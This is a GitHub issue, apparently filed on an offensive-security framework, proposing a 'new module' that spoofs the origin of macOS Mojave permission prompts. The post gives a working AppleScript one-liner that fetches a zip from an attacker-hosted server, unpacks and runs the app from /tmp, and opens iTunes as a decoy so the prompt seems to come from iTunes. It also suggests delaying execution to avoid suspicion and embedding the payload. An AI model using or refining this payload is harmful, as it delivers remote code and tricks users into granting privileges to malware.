Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential new module? (Mojave security feature; origin spoofing) #10769

Open
tokyoneon opened this issue Oct 8, 2018 · 2 comments
Open

Potential new module? (Mojave security feature; origin spoofing) #10769

tokyoneon opened this issue Oct 8, 2018 · 2 comments

Comments

@tokyoneon
Copy link

tokyoneon commented Oct 8, 2018

Hey guys, I cooked up a little AppleScript payload that spoofs the origin of the nefarious activity. In the gif, youll see a normal "evil" script attempt to modify crontab and Mojave spotting the activity. In the following script, it appears iTunes is requested privileged access to something.

do shell script "p='/tmp/iTunes';curl -s http://127.0.0.1:8888/iTunes.zip -o $p.zip && unzip $p.zip -d /tmp/ && chmod 7777 $p.app && sleep 4; open -a iTunes.app && open $p.app"

Essentially the test29 app (iTunes.zip) is being hosted on the attackers server, downloaded and decompressed locally, then executed with a new PID. There's also a sleep timer in there so we can have it execute 30-60 minutes after the target opens the file -- to avoid suspicion? For improving the payload, instead of hosting the zip remotely, we could embed the raw data into the AppleScript and write it to /tmp upon being opened?

bypass

@github-actions
Copy link

github-actions bot commented Dec 2, 2020

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Dec 2, 2020
@github-actions github-actions bot removed the Stale Marks an issue as stale, to be closed if no action is taken label Jan 22, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants